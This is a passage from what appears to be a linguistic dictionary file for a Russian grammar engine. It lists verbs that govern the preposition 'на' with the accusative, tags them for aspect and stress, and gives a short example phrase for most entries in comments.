rus_verbs:сокращаться{}, // сокращаться на четверть rus_verbs:оттеснить{}, // оттеснить на пристань rus_verbs:подбить{}, // подбить на аферу rus_verbs:заманить{}, // заманить на дерево инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик // деепричастие:пописав{ aux stress="поп^исать" }, rus_verbs:посходить{}, // посходить на перрон rus_verbs:налечь{}, // налечь на мясцо rus_verbs:отбирать{}, // отбирать на флот rus_verbs:нашептывать{}, // нашептывать на ухо rus_verbs:откладываться{}, // откладываться на будущее rus_verbs:залаять{}, // залаять на грабителя rus_verbs:настроиться{}, // настроиться на прием rus_verbs:разбивать{}, // разбивать на куски rus_verbs:пролиться{}, // пролиться на почву rus_verbs:сетовать{}, // сетовать на объективные трудности rus_verbs:подвезти{}, // подвезти на митинг rus_verbs:припереться{}, // припереться на праздник rus_verbs:подталкивать{}, // подталкивать на прыжок rus_verbs:прорываться{}, // прорываться на сцену rus_verbs:снижать{}, // снижать на несколько процентов rus_verbs:нацелить{}, // нацелить на танк rus_verbs:расколоть{}, // расколоть на два куска rus_verbs:увозить{}, // увозить на обкатку rus_verbs:оседать{}, // оседать на дно rus_verbs:съедать{}, // съедать на ужин rus_verbs:навлечь{}, // навлечь на себя rus_verbs:равняться{}, // равняться на лучших rus_verbs:сориентироваться{}, // сориентироваться на местности rus_verbs:снизить{}, // снизить на несколько процентов rus_verbs:перенестись{}, // перенестись на много лет назад rus_verbs:завезти{}, // завезти на склад rus_verbs:проложить{}, // проложить на гору rus_verbs:понадеяться{}, // понадеяться на удачу rus_verbs:заступить{}, // заступить на вахту rus_verbs:засеменить{}, // засеменить на выход rus_verbs:запирать{}, // запирать на ключ rus_verbs:скатываться{}, // скатываться на землю rus_verbs:дробить{}, // дробить на части rus_verbs:разваливаться{}, // разваливаться на кусочки rus_verbs:завозиться{}, // завозиться на склад rus_verbs:нанимать{}, // нанимать на дневную работу rus_verbs:поспеть{}, // поспеть на концерт rus_verbs:променять{}, // променять на сытость rus_verbs:переправить{}, // переправить на север rus_verbs:налетать{}, // налетать на силовое поле rus_verbs:затворить{}, // затворить на замок rus_verbs:подогнать{}, // подогнать на пристань rus_verbs:наехать{}, // наехать на камень rus_verbs:распевать{}, // распевать на разные голоса rus_verbs:разносить{}, // разносить на клочки rus_verbs:преувеличивать{}, // преувеличивать на много килограммов rus_verbs:хромать{}, // хромать на одну ногу rus_verbs:телеграфировать{}, // телеграфировать на базу rus_verbs:порезать{}, // порезать на лоскуты rus_verbs:порваться{}, // порваться на части rus_verbs:загонять{}, // загонять на дерево rus_verbs:отбывать{}, // отбывать на место службы rus_verbs:усаживаться{}, // усаживаться на трон rus_verbs:накопить{}, // накопить на квартиру rus_verbs:зыркнуть{}, // зыркнуть на визитера rus_verbs:копить{}, // копить на машину rus_verbs:помещать{}, // помещать на верхнюю грань rus_verbs:сползать{}, // сползать на снег rus_verbs:попроситься{}, // попроситься на улицу rus_verbs:перетащить{}, // перетащить на чердак rus_verbs:растащить{}, // растащить на сувениры rus_verbs:ниспадать{}, // ниспадать на землю rus_verbs:сфотографировать{}, // сфотографировать на память rus_verbs:нагонять{}, // нагонять на конкурентов страх rus_verbs:покушаться{}, // покушаться на понтифика rus_verbs:покуситься{}, rus_verbs:наняться{}, // наняться на службу rus_verbs:просачиваться{}, // просачиваться на поверхность rus_verbs:пускаться{}, // пускаться на ветер rus_verbs:отваживаться{}, // отваживаться на прыжок rus_verbs:досадовать{}, // досадовать на объективные трудности rus_verbs:унестись{}, // унестись на небо rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов rus_verbs:насадить{}, // насадить на копьё rus_verbs:нагрянуть{}, // нагрянуть на праздник rus_verbs:зашвырнуть{}, // зашвырнуть на полку rus_verbs:грешить{}, // грешить на постояльцев rus_verbs:просочиться{}, // просочиться на поверхность rus_verbs:надоумить{}, // надоумить на глупость rus_verbs:намотать{}, // намотать на шпиндель rus_verbs:замкнуть{}, // замкнуть на корпус rus_verbs:цыкнуть{}, // цыкнуть на детей rus_verbs:переворачиваться{}, // переворачиваться на спину rus_verbs:соваться{}, // соваться на площать rus_verbs:отлучиться{}, // отлучиться на обед rus_verbs:пенять{}, // пенять на себя rus_verbs:нарезать{}, // нарезать на ломтики rus_verbs:поставлять{}, // поставлять на Кипр rus_verbs:залезать{}, // залезать на балкон rus_verbs:отлучаться{}, // отлучаться на обед rus_verbs:сбиваться{}, // сбиваться на шаг rus_verbs:таращить{}, // таращить глаза на вошедшего rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню rus_verbs:опережать{}, // опережать на пару сантиметров rus_verbs:переставить{}, // переставить на стол rus_verbs:раздирать{}, // раздирать на части rus_verbs:затвориться{}, // затвориться на засовы rus_verbs:материться{}, // материться на кого-то rus_verbs:наскочить{}, // наскочить на риф rus_verbs:набираться{}, // набираться на борт rus_verbs:покрикивать{}, // покрикивать на помощников rus_verbs:заменяться{}, // заменяться на более новый rus_verbs:подсадить{}, // подсадить на верхнюю полку rus_verbs:проковылять{}, // проковылять на кухню rus_verbs:прикатить{}, // прикатить на старт rus_verbs:залететь{}, // залететь на чужую территорию rus_verbs:загрузить{}, // загрузить на конвейер rus_verbs:уплывать{}, // уплывать на материк rus_verbs:опозорить{}, // опозорить на всю деревню rus_verbs:провоцировать{}, // провоцировать на ответную агрессию rus_verbs:забивать{}, // забивать на учебу rus_verbs:набегать{}, // набегать на прибрежные деревни rus_verbs:запираться{}, // запираться на ключ rus_verbs:фотографировать{}, // фотографировать на мыльницу rus_verbs:подымать{}, // подымать на недосягаемую высоту rus_verbs:съезжаться{}, // съезжаться на симпозиум rus_verbs:отвлекаться{}, // отвлекаться на игру rus_verbs:проливать{}, // проливать на брюки rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца rus_verbs:уползти{}, // уползти на вершину холма rus_verbs:переместить{}, // переместить на вторую палубу rus_verbs:превысить{}, // превысить на несколько метров rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку rus_verbs:спровоцировать{}, // спровоцировать на бросок rus_verbs:сместиться{}, // сместиться на соседнюю клетку rus_verbs:заготовить{}, // заготовить на зиму rus_verbs:плеваться{}, // плеваться на пол rus_verbs:переселить{}, // переселить на север rus_verbs:напирать{}, // напирать на дверь rus_verbs:переезжать{}, // переезжать на другой этаж rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров rus_verbs:трогаться{}, // трогаться на красный свет rus_verbs:надвинуться{}, // надвинуться на глаза rus_verbs:засмотреться{}, // засмотреться на купальники rus_verbs:убыть{}, // убыть на фронт rus_verbs:передвигать{}, // передвигать на второй уровень rus_verbs:отвозить{}, // отвозить на свалку rus_verbs:обрекать{}, // обрекать на гибель rus_verbs:записываться{}, // записываться на танцы rus_verbs:настраивать{}, // настраивать на другой диапазон rus_verbs:переписывать{}, // переписывать на диск rus_verbs:израсходовать{}, // израсходовать на гонки rus_verbs:обменять{}, // обменять на перспективного игрока rus_verbs:трубить{}, // трубить на всю округу rus_verbs:набрасываться{}, // набрасываться на жертву rus_verbs:чихать{}, // чихать на правила rus_verbs:наваливаться{}, // наваливаться на рычаг rus_verbs:сподобиться{}, // сподобиться на повторный анализ rus_verbs:намазать{}, // намазать на хлеб rus_verbs:прореагировать{}, // прореагировать на вызов rus_verbs:зачислить{}, // зачислить на факультет rus_verbs:наведаться{}, // наведаться на склад rus_verbs:откидываться{}, // откидываться на спинку кресла rus_verbs:захромать{}, // захромать на левую ногу rus_verbs:перекочевать{}, // перекочевать на другой берег rus_verbs:накатываться{}, // накатываться на песчаный берег rus_verbs:приостановить{}, // приостановить на некоторое время rus_verbs:запрятать{}, // запрятать на верхнюю полочку rus_verbs:прихрамывать{}, // прихрамывать на правую ногу rus_verbs:упорхнуть{}, // упорхнуть на свободу rus_verbs:расстегивать{}, // расстегивать на пальто rus_verbs:напуститься{}, // напуститься на бродягу rus_verbs:накатывать{}, // накатывать на оригинал rus_verbs:наезжать{}, // наезжать на простофилю rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека rus_verbs:отрядить{}, // отрядить на починку rus_verbs:положиться{}, // положиться на главаря rus_verbs:опрокидывать{}, // опрокидывать на голову rus_verbs:поторапливаться{}, // поторапливаться на рейс rus_verbs:налагать{}, // налагать на заемщика rus_verbs:скопировать{}, // скопировать на диск rus_verbs:опадать{}, // опадать на землю rus_verbs:купиться{}, // купиться на посулы rus_verbs:гневаться{}, // гневаться на слуг rus_verbs:слететься{}, // слететься на раздачу rus_verbs:убавить{}, // убавить на два уровня rus_verbs:спихнуть{}, // спихнуть на соседа rus_verbs:накричать{}, // накричать на ребенка rus_verbs:приберечь{}, // приберечь на ужин rus_verbs:приклеить{}, // приклеить на ветровое стекло rus_verbs:ополчиться{}, // ополчиться на посредников rus_verbs:тратиться{}, // тратиться на сувениры rus_verbs:слетаться{}, // слетаться на свет rus_verbs:доставляться{}, // доставляться на базу rus_verbs:поплевать{}, // поплевать на руки rus_verbs:огрызаться{}, // огрызаться на замечание rus_verbs:попереться{}, // попереться на рынок rus_verbs:растягиваться{}, // растягиваться на полу rus_verbs:повергать{}, // повергать на землю rus_verbs:ловиться{}, // ловиться на мотыля rus_verbs:наседать{}, // наседать на обороняющихся rus_verbs:развалить{}, // развалить на кирпичи rus_verbs:разломить{}, // разломить на несколько частей rus_verbs:примерить{}, // примерить на себя rus_verbs:лепиться{}, // лепиться на стену rus_verbs:скопить{}, // скопить на старость rus_verbs:затратить{}, // затратить на ликвидацию последствий rus_verbs:притащиться{}, // притащиться на гулянку rus_verbs:осерчать{}, // осерчать на прислугу rus_verbs:натравить{}, // натравить на медведя rus_verbs:ссыпать{}, // ссыпать на землю rus_verbs:подвозить{}, // подвозить на пристань rus_verbs:мобилизовать{}, // мобилизовать на сборы rus_verbs:смотаться{}, // смотаться на работу rus_verbs:заглядеться{}, // заглядеться на девчонок rus_verbs:таскаться{}, // таскаться на работу rus_verbs:разгружать{}, // разгружать на транспортер rus_verbs:потреблять{}, // потреблять на кондиционирование инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу деепричастие:сгоняв{}, rus_verbs:посылаться{}, // посылаться на разведку rus_verbs:окрыситься{}, // окрыситься на кого-то rus_verbs:отлить{}, // отлить на сковороду rus_verbs:шикнуть{}, // шикнуть на детишек rus_verbs:уповать{}, // уповать на бескорысную помощь rus_verbs:класться{}, // класться на стол rus_verbs:поковылять{}, // поковылять на выход rus_verbs:навевать{}, // навевать на собравшихся скуку rus_verbs:накладываться{}, // накладываться на грунтовку rus_verbs:наноситься{}, // наноситься на чистую кожу // rus_verbs:запланировать{}, // запланировать на среду rus_verbs:кувыркнуться{}, // кувыркнуться на землю rus_verbs:гавкнуть{}, // гавкнуть на хозяина rus_verbs:перестроиться{}, // перестроиться на новый лад rus_verbs:расходоваться{}, // расходоваться на образование rus_verbs:дуться{}, // дуться на бабушку rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол rus_verbs:издаться{}, // издаться на деньги спонсоров rus_verbs:смещаться{}, // смещаться на несколько миллиметров rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу rus_verbs:пикировать{}, // пикировать на окопы rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей rus_verbs:зудить{}, // зудить на ухо rus_verbs:подразделяться{}, // подразделяться на группы rus_verbs:изливаться{}, // изливаться на землю rus_verbs:помочиться{}, // помочиться на траву rus_verbs:примерять{}, // примерять на себя rus_verbs:разрядиться{}, // разрядиться на землю rus_verbs:мотнуться{}, // мотнуться на крышу rus_verbs:налегать{}, // налегать на весла rus_verbs:зацокать{}, // зацокать на куриц rus_verbs:наниматься{}, // наниматься на корабль rus_verbs:сплевывать{}, // сплевывать на землю rus_verbs:настучать{}, // настучать на саботажника rus_verbs:приземляться{}, // приземляться на брюхо rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу rus_verbs:серчать{}, // серчать на нерасторопную помощницу rus_verbs:сваливать{}, // сваливать на подоконник rus_verbs:засобираться{}, // засобираться на работу rus_verbs:распилить{}, // распилить на одинаковые бруски //rus_verbs:умножать{}, // умножать на константу rus_verbs:копировать{}, // копировать на диск rus_verbs:накрутить{}, // накрутить на руку rus_verbs:навалить{}, // навалить на телегу rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль rus_verbs:шлепаться{}, // шлепаться на бетон rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение rus_verbs:посягнуть{}, // посягнуть на святое rus_verbs:разменять{}, // разменять на мелочь rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции rus_verbs:усаживать{}, // усаживать на скамейку rus_verbs:натаскать{}, // натаскать на поиск наркотиков rus_verbs:зашикать{}, // зашикать на кошку rus_verbs:разломать{}, // разломать на равные части rus_verbs:приглашаться{}, // приглашаться на сцену rus_verbs:присягать{}, // присягать на верность rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку rus_verbs:расщедриться{}, // расщедриться на новый компьютер rus_verbs:насесть{}, // насесть на двоечников rus_verbs:созывать{}, // созывать на собрание rus_verbs:позариться{}, // позариться на чужое добро rus_verbs:перекидываться{}, // перекидываться на соседние здания rus_verbs:наползать{}, // наползать на неповрежденную ткань rus_verbs:изрубить{}, // изрубить на мелкие кусочки rus_verbs:наворачиваться{}, // наворачиваться на глаза rus_verbs:раскричаться{}, // раскричаться на всю округу rus_verbs:переползти{}, // переползти на светлую сторону rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию rus_verbs:мочиться{}, // мочиться на трупы убитых врагов rus_verbs:радировать{}, // радировать на базу rus_verbs:промотать{}, // промотать на начало rus_verbs:заснять{}, // заснять на видео rus_verbs:подбивать{}, // подбивать на матч-реванш rus_verbs:наплевать{}, // наплевать на справедливость rus_verbs:подвывать{}, // подвывать на луну rus_verbs:расплескать{}, // расплескать на пол rus_verbs:польститься{}, // польститься на бесплатный сыр rus_verbs:помчать{}, // помчать на работу rus_verbs:съезжать{}, // съезжать на обочину rus_verbs:нашептать{}, // нашептать кому-то на ухо rus_verbs:наклеить{}, // наклеить на доску объявлений rus_verbs:завозить{}, // завозить на склад rus_verbs:заявляться{}, // заявляться на любимую работу rus_verbs:наглядеться{}, // наглядеться на воробьев rus_verbs:хлопнуться{}, // хлопнуться на живот rus_verbs:забредать{}, // забредать на поляну rus_verbs:посягать{}, // посягать на исконные права собственности rus_verbs:сдвигать{}, // сдвигать на одну позицию rus_verbs:спрыгивать{}, // спрыгивать на землю rus_verbs:сдвигаться{}, // сдвигаться на две позиции rus_verbs:разделать{}, // разделать на орехи rus_verbs:разлагать{}, // разлагать на элементарные элементы rus_verbs:обрушивать{}, // обрушивать на головы врагов rus_verbs:натечь{}, // натечь на пол rus_verbs:политься{}, // вода польется на землю rus_verbs:успеть{}, // Они успеют на поезд. инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш }, деепричастие:мигрируя{}, инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш }, деепричастие:мигрировав{}, rus_verbs:двинуться{}, // Мы скоро двинемся на дачу. rus_verbs:подойти{}, // Он не подойдёт на должность секретаря. rus_verbs:потянуть{}, // Он не потянет на директора. rus_verbs:тянуть{}, // Он не тянет на директора. rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:жаловаться{}, // Он жалуется на нездоровье. rus_verbs:издать{}, // издать на деньги спонсоров rus_verbs:показаться{}, // показаться на глаза rus_verbs:высаживать{}, // высаживать на необитаемый остров rus_verbs:вознестись{}, // вознестись на самую вершину славы rus_verbs:залить{}, // залить на youtube rus_verbs:закачать{}, // закачать на youtube rus_verbs:сыграть{}, // сыграть на деньги rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных глагол:экстраполироваться{ вид:несоверш}, инфинитив:экстраполироваться{ вид:соверш}, глагол:экстраполироваться{ вид:соверш}, деепричастие:экстраполируясь{}, инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы глагол:акцентировать{вид:соверш}, инфинитив:акцентировать{вид:несоверш}, глагол:акцентировать{вид:несоверш}, прилагательное:акцентировавший{вид:несоверш}, //прилагательное:акцентировавший{вид:соверш}, прилагательное:акцентирующий{}, деепричастие:акцентировав{}, деепричастие:акцентируя{}, rus_verbs:бабахаться{}, // он бабахался на пол rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина rus_verbs:бахаться{}, // Наездники бахались на землю rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю rus_verbs:благословить{}, // батюшка благословил отрока на подвиг rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг rus_verbs:блевануть{}, // Он блеванул на землю rus_verbs:блевать{}, // Он блюет на землю rus_verbs:бухнуться{}, // Наездник бухнулся на землю rus_verbs:валить{}, // Ветер валил деревья на землю rus_verbs:спилить{}, // Спиленное дерево валится на землю rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес rus_verbs:вестись{}, // Не ведись на эти уловки! rus_verbs:вешать{}, // Гости вешают одежду на вешалку rus_verbs:вешаться{}, // Одежда вешается на вешалки rus_verbs:вещать{}, // радиостанция вещает на всю страну rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм rus_verbs:взбредать{}, // Что иногда взбредает на ум rus_verbs:взбрести{}, // Что-то взбрело на ум rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи rus_verbs:взглянуть{}, // Кошка взглянула на мышку rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух rus_verbs:взобраться{}, // Туристы взобрались на гору rus_verbs:взойти{}, // Туристы взошли на гору rus_verbs:взъесться{}, // Отец взъелся на непутевого сына rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка rus_verbs:водворить{}, // водворить нарушителя на место rus_verbs:водвориться{}, // водвориться на свое место rus_verbs:водворять{}, // водворять вещь на свое место rus_verbs:водворяться{}, // водворяться на свое место rus_verbs:водружать{}, // водружать флаг на флагшток rus_verbs:водружаться{}, // Флаг водружается на флагшток rus_verbs:водрузить{}, // водрузить флаг на флагшток rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы rus_verbs:воздействовать{}, // Излучение воздействует на кожу rus_verbs:воззреть{}, // воззреть на поле боя rus_verbs:воззриться{}, // воззриться на поле боя rus_verbs:возить{}, // возить туристов на гору rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу rus_verbs:возлагаться{}, // Ответственность возлагается на начальство rus_verbs:возлечь{}, // возлечь на лежанку rus_verbs:возложить{}, // возложить цветы на могилу поэта rus_verbs:вознести{}, // вознести кого-то на вершину славы rus_verbs:возноситься{}, // возносится на вершину успеха rus_verbs:возносить{}, // возносить счастливчика на вершину успеха rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж rus_verbs:подняться{}, // Мы поднялись на восьмой этаж rus_verbs:вонять{}, // Кусок сыра воняет на всю округу rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги rus_verbs:ворчать{}, // Старый пес ворчит на прохожих rus_verbs:воспринимать{}, // воспринимать сообщение на слух rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух rus_verbs:воспринять{}, // воспринять сообщение на слух rus_verbs:восприняться{}, // восприняться на слух rus_verbs:воссесть{}, // Коля воссел на трон rus_verbs:вправить{}, // вправить мозг на место rus_verbs:вправлять{}, // вправлять мозги на место rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:врубать{}, // врубать на полную мощность rus_verbs:врубить{}, // врубить на полную мощность rus_verbs:врубиться{}, // врубиться на полную мощность rus_verbs:врываться{}, // врываться на собрание rus_verbs:вскарабкаться{}, // вскарабкаться на утёс rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс rus_verbs:вскочить{}, // вскочить на ноги rus_verbs:всплывать{}, // всплывать на поверхность воды rus_verbs:всплыть{}, // всплыть на поверхность воды rus_verbs:вспрыгивать{}, // вспрыгивать на платформу rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу rus_verbs:встать{}, // встать на защиту чести и достоинства rus_verbs:вторгаться{}, // вторгаться на чужую территорию rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию rus_verbs:въезжать{}, // въезжать на пандус rus_verbs:наябедничать{}, // наябедничать на соседа по парте rus_verbs:выблевать{}, // выблевать завтрак на пол rus_verbs:выблеваться{}, // выблеваться на пол rus_verbs:выблевывать{}, // выблевывать завтрак на пол rus_verbs:выблевываться{}, // выблевываться на пол rus_verbs:вывезти{}, // вывезти мусор на свалку rus_verbs:вывесить{}, // вывесить белье на просушку rus_verbs:вывести{}, // вывести собаку на прогулку rus_verbs:вывешивать{}, // вывешивать белье на веревку rus_verbs:вывозить{}, // вывозить детей на природу rus_verbs:вызывать{}, // Начальник вызывает на ковер rus_verbs:выйти{}, // выйти на свободу rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение rus_verbs:выливать{}, // выливать на землю rus_verbs:выливаться{}, // выливаться на землю rus_verbs:вылить{}, // вылить жидкость на землю rus_verbs:вылиться{}, // Топливо вылилось на землю rus_verbs:выложить{}, // выложить на берег rus_verbs:выменивать{}, // выменивать золото на хлеб rus_verbs:вымениваться{}, // Золото выменивается на хлеб rus_verbs:выменять{}, // выменять золото на хлеб rus_verbs:выпадать{}, // снег выпадает на землю rus_verbs:выплевывать{}, // выплевывать на землю rus_verbs:выплевываться{}, // выплевываться на землю rus_verbs:выплескать{}, // выплескать на землю rus_verbs:выплескаться{}, // выплескаться на землю rus_verbs:выплескивать{}, // выплескивать на землю rus_verbs:выплескиваться{}, // выплескиваться на землю rus_verbs:выплывать{}, // выплывать на поверхность rus_verbs:выплыть{}, // выплыть на поверхность rus_verbs:выплюнуть{}, // выплюнуть на пол rus_verbs:выползать{}, // выползать на свежий воздух rus_verbs:выпроситься{}, // выпроситься на улицу rus_verbs:выпрыгивать{}, // выпрыгивать на свободу rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон rus_verbs:выпускать{}, // выпускать на свободу rus_verbs:выпустить{}, // выпустить на свободу rus_verbs:выпучивать{}, // выпучивать на кого-то глаза rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то rus_verbs:выпучить{}, // выпучить глаза на кого-то rus_verbs:выпучиться{}, // выпучиться на кого-то rus_verbs:выронить{}, // выронить на землю rus_verbs:высадить{}, // высадить на берег rus_verbs:высадиться{}, // высадиться на берег rus_verbs:высаживаться{}, // высаживаться на остров rus_verbs:выскальзывать{}, // выскальзывать на землю rus_verbs:выскочить{}, // выскочить на сцену rus_verbs:высморкаться{}, // высморкаться на землю rus_verbs:высморкнуться{}, // высморкнуться на землю rus_verbs:выставить{}, // выставить на всеобщее обозрение rus_verbs:выставиться{}, // выставиться на всеобщее обозрение rus_verbs:выставлять{}, // выставлять на всеобщее обозрение rus_verbs:выставляться{}, // выставляться на всеобщее обозрение инфинитив:высыпать{вид:соверш}, // высыпать на землю инфинитив:высыпать{вид:несоверш}, глагол:высыпать{вид:соверш}, глагол:высыпать{вид:несоверш}, деепричастие:высыпав{}, деепричастие:высыпая{}, прилагательное:высыпавший{вид:соверш}, //++прилагательное:высыпавший{вид:несоверш}, прилагательное:высыпающий{вид:несоверш}, rus_verbs:высыпаться{}, // высыпаться на землю rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя rus_verbs:вытаращиваться{}, // вытаращиваться на медведя rus_verbs:вытаращить{}, // вытаращить глаза на медведя rus_verbs:вытаращиться{}, // вытаращиться на медведя rus_verbs:вытекать{}, // вытекать на землю rus_verbs:вытечь{}, // вытечь на землю rus_verbs:выучиваться{}, // выучиваться на кого-то rus_verbs:выучиться{}, // выучиться на кого-то rus_verbs:посмотреть{}, // посмотреть на экран rus_verbs:нашить{}, // нашить что-то на одежду rus_verbs:придти{}, // придти на помощь кому-то инфинитив:прийти{}, // прийти на помощь кому-то глагол:прийти{}, деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты. rus_verbs:поднять{}, // поднять на вершину rus_verbs:согласиться{}, // согласиться на ничью rus_verbs:послать{}, // послать на фронт rus_verbs:слать{}, // слать на фронт rus_verbs:надеяться{}, // надеяться на лучшее rus_verbs:крикнуть{}, // крикнуть на шалунов rus_verbs:пройти{}, // пройти на пляж rus_verbs:прислать{}, // прислать на экспертизу rus_verbs:жить{}, // жить на подачки rus_verbs:становиться{}, // становиться на ноги rus_verbs:наслать{}, // наслать на кого-то rus_verbs:принять{}, // принять на заметку rus_verbs:собираться{}, // собираться на экзамен rus_verbs:оставить{}, // оставить на всякий случай rus_verbs:звать{}, // звать на помощь rus_verbs:направиться{}, // направиться на прогулку rus_verbs:отвечать{}, // отвечать на звонки rus_verbs:отправиться{}, // отправиться на прогулку rus_verbs:поставить{}, // поставить на пол rus_verbs:обернуться{}, // обернуться на зов rus_verbs:отозваться{}, // отозваться на просьбу rus_verbs:закричать{}, // закричать на собаку rus_verbs:опустить{}, // опустить на землю rus_verbs:принести{}, // принести на пляж свой жезлонг rus_verbs:указать{}, // указать на дверь rus_verbs:ходить{}, // ходить на занятия rus_verbs:уставиться{}, // уставиться на листок rus_verbs:приходить{}, // приходить на экзамен rus_verbs:махнуть{}, // махнуть на пляж rus_verbs:явиться{}, // явиться на допрос rus_verbs:оглянуться{}, // оглянуться на дорогу rus_verbs:уехать{}, // уехать на заработки rus_verbs:повести{}, // повести на штурм rus_verbs:опуститься{}, // опуститься на колени //rus_verbs:передать{}, // передать на проверку rus_verbs:побежать{}, // побежать на занятия rus_verbs:прибыть{}, // прибыть на место службы rus_verbs:кричать{}, // кричать на медведя rus_verbs:стечь{}, // стечь на землю rus_verbs:обратить{}, // обратить на себя внимание rus_verbs:подать{}, // подать на пропитание rus_verbs:привести{}, // привести на съемки rus_verbs:испытывать{}, // испытывать на животных rus_verbs:перевести{}, // перевести на жену rus_verbs:купить{}, // купить на заемные деньги rus_verbs:собраться{}, // собраться на встречу rus_verbs:заглянуть{}, // заглянуть на огонёк rus_verbs:нажать{}, // нажать на рычаг rus_verbs:поспешить{}, // поспешить на праздник rus_verbs:перейти{}, // перейти на русский язык rus_verbs:поверить{}, // поверить на честное слово rus_verbs:глянуть{}, // глянуть на обложку rus_verbs:зайти{}, // зайти на огонёк rus_verbs:проходить{}, // проходить на сцену rus_verbs:глядеть{}, // глядеть на актрису //rus_verbs:решиться{}, // решиться на прыжок rus_verbs:пригласить{}, // пригласить на танец rus_verbs:позвать{}, // позвать на экзамен rus_verbs:усесться{}, // усесться на стул rus_verbs:поступить{}, // поступить на математический факультет rus_verbs:лечь{}, // лечь на живот rus_verbs:потянуться{}, // потянуться на юг rus_verbs:присесть{}, // присесть на корточки rus_verbs:наступить{}, // наступить на змею rus_verbs:заорать{}, // заорать на попрошаек rus_verbs:надеть{}, // надеть на голову rus_verbs:поглядеть{}, // поглядеть на девчонок rus_verbs:принимать{}, // принимать на гарантийное обслуживание rus_verbs:привезти{}, // привезти на испытания rus_verbs:рухнуть{}, // рухнуть на асфальт rus_verbs:пускать{}, // пускать на корм rus_verbs:отвести{}, // отвести на приём rus_verbs:отправить{}, // отправить на утилизацию rus_verbs:двигаться{}, // двигаться на восток rus_verbs:нести{}, // нести на пляж rus_verbs:падать{}, // падать на руки rus_verbs:откинуться{}, // откинуться на спинку кресла rus_verbs:рявкнуть{}, // рявкнуть на детей rus_verbs:получать{}, // получать на проживание rus_verbs:полезть{}, // полезть на рожон rus_verbs:направить{}, // направить на дообследование rus_verbs:приводить{}, // приводить на проверку rus_verbs:потребоваться{}, // потребоваться на замену rus_verbs:кинуться{}, // кинуться на нападавшего rus_verbs:учиться{}, // учиться на токаря rus_verbs:приподнять{}, // приподнять на один метр rus_verbs:налить{}, // налить на стол rus_verbs:играть{}, // играть на деньги rus_verbs:рассчитывать{}, // рассчитывать на подмогу rus_verbs:шепнуть{}, // шепнуть на ухо rus_verbs:швырнуть{}, // швырнуть на землю rus_verbs:прыгнуть{}, // прыгнуть на оленя rus_verbs:предлагать{}, // предлагать на выбор rus_verbs:садиться{}, // садиться на стул rus_verbs:лить{}, // лить на землю rus_verbs:испытать{}, // испытать на животных rus_verbs:фыркнуть{}, // фыркнуть на детеныша rus_verbs:годиться{}, // мясо годится на фарш rus_verbs:проверить{}, // проверить высказывание на истинность rus_verbs:откликнуться{}, // откликнуться на призывы rus_verbs:полагаться{}, // полагаться на интуицию rus_verbs:покоситься{}, // покоситься на соседа rus_verbs:повесить{}, // повесить на 